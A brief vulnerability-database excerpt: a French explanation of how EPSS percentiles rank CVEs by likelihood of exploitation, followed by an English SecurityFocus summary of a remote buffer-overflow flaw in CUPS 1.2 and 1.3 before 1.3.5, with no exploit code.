Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/26917/info Common UNIX Printing System (CUPS) is prone to a remote buffer-overflow vulnerability because the software fails to properly bounds-check user-supplied data before copying it to an insufficiently sized buffer. Exploiting this issue allows attackers to execute arbitrary machine code in the context of users running the affected software. Failed exploit attempts will likely result in denial-of-service conditions. This issue affects CUPS 1.2 and 1.3, prior to 1.3.5; other versions may also be vulnerable.
